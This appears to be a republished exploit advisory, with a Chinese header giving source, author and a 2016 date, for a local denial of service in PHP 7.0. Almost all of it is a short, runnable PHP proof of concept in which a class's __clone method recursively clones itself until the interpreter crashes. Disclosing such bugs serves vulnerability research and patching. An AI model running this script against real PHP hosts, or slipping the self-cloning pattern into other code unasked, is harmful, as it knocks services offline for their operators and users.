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PHP 7.0 - Object Cloning Local Denial of Service
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来源：http://www.black-rose.ml 作者：Wizman 发布时间：2016-08-30
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<?php
#############################################################################
## PHP 7.0 Object Cloning Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 7.0
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
class MyCloneableClass
{
public $obj;
function __clone()
{
$this->obj = clone $this;
return $this->obj;
}
}
$obj = new MyCloneableClass();
$obj2 = clone $obj;
?>
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